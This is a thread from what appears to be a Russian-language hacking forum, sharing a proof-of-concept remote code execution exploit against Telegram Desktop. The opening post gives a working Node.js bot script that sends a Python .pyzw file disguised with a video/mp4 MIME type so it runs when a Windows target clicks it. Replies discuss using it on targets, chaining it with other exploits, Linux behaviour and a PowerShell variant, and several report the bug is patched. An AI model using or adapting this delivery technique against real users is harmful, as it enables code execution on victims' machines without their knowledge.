• XSS.stack #1 – первый литературный журнал от юзеров форума

Local telegram rce poc

elvira

HDD-drive
Пользователь
Регистрация
14.08.2021
Сообщения
45
Реакции
45
Гарант сделки
1
Депозит
0.00
There is currently an exploit with Telegram where you can send a .pyzw file with the mimetype of video/mp4, on certain systems it will result in Python code execution upon clicking the video!


Relevant GitHub issue: https://github.com/telegramdesktop/tdesktop/pull/27737
Limitations: Target must be on Windows. Target must have Python installed

JavaScript:
const fs = require("fs");
const TelegramBot = require("node-telegram-bot-api");

const token = "BOT_TOKEN";

const bot = new TelegramBot(token, { polling: true });

bot.onText(/\/video/, (msg) => {
  const chatId = msg.chat.id;

  bot.sendVideo(
    chatId,
    fs.readFileSync("/home/user/download.pyzw"),
    {
      width: 300,
      height: 300,
      duration: 30,
      // thumbnail: "https://duckduckgo.com/favicon.ico",
    }, {
      filename: "coolvideo.pyzw",
      contentType: "video/mp4"
    }
  );
});

download.pyzw content:
Код:
__import__("subprocess").call(["calc.exe"])
 
Последнее редактирование:
This is a great find, thank you for that. I will be running some tests on this right away.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
На практике это не использовалось, как я понимаю.
можно чейнить с другими экспами по windows есть интересная связка. точнее была, они от блеклиста в вайтлисту с сегодняшним апдейтом перешли
 
Я правильно понимаю, что если у таргета будет стоять питон в ос - можно делать всякие интересные штуки?

upd: протестил - работает. Надо бы сейчас кое чем заняться
upd2: не работает именно с pyzw, но есть мысля что с этим делать
upd3: на линуксе данный метод залетает на ура, вайн почему-то может открыть бинарники без особых алертов, сама же винда как и положено сохраняет файлы как мп4, копаю дальше, но знаний моих явно не достаточно
 
Последнее редактирование:
там мно
Я правильно понимаю, что если у таргета будет стоять питон в ос - можно делать всякие интересные штуки?

upd: протестил - работает. Надо бы сейчас кое чем заняться
upd2: не работает именно с pyzw, но есть мысля что с этим делать
upd3: на линуксе данный метод залетает на ура, вайн почему-то может открыть бинарники без особых алертов, сама же винда как и положено сохраняет файлы как мп4, копаю дальше, но знаний моих явно не достаточно
этот PoC уже совершенно не работает. они перешли от блеклиста к вайтлисту. и сделали enforced расширение по mime типу так что все, финита ля комедия
 
там мно

этот PoC уже совершенно не работает. они перешли от блеклиста к вайтлисту. и сделали enforced расширение по mime типу так что все, финита ля комедия
Ну вообще если использовать это все точечно и твоя цель сидит на линуксе (а вдруг) - то это более чем работает.

Весь трабл в майм типе, в линуксе (по крайней мере на арче) ты как кинул файл так он и сохранится, потому что линукс открывает файл исходя из указанного майм типа, а вот винда уже исходя из расширения - то есть ты кинешь этот файл он будет рабочий, но винда сама добавит в конце .mp4/gif и тд.
Объясняю как ламер, я - ламер
 
Последнее редактирование:
Ну вообще если использовать это все точечно и твоя цель сидит на линуксе (а вдруг) - то это более чем работает.

Весь трабл в майм типе, в линуксе (по крайней мере на арче) ты как кинул файл так он и сохранится, потому что линукс открывает файл исходя из указанного майм типа, а вот винда уже исходя из расширения - то есть ты кинешь этот файл он будет рабочий, но винда сама добавит в конце .mp4/gif и тд.
Объясняю как ламер, я - ламер
реально ламер, без негатива))
 
Сейчас расширение .pyzw переименовывается
Я хотел найти black list , но как будто его удалили или перенесли , файл телеграмма data_document_resolver.cpp больше не содержит список блек листа

Ради теста запустил скрипт с такими параметрами
Код:
  bot.sendVideo(
    chatId,
    fs.readFileSync("C:/boy/download.ps1"),
    {
      width: 300,
      height: 300,
      duration: 30,
      // thumbnail: "https://duckduckgo.com/favicon.ico",
    }, {
      filename: "coolvideo.ps1",
      contentType: "video/mp4"

А сам файл download.ps1

Код:
Start-Process calc.exe

В ответ от бота приходит видео файл, без запуска сценария. Может можно еще покапать.
Пробовал еще также обойти функция repleace name на разные имена
download./npyzw
download._pyzw
download.pyzw

Нет запуска файла. Пофиксили получается хорошо ?
UPD телеграмм добавляет сейчас в конце префикс .mp4 (1coolvideo.ps1.mp4)
Теперь всем файлам будет префикс .mp4 для настольных ПК.
В линукс для старой версии, еще можно было что-то изобрести, сейчас не могу найти ничего.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх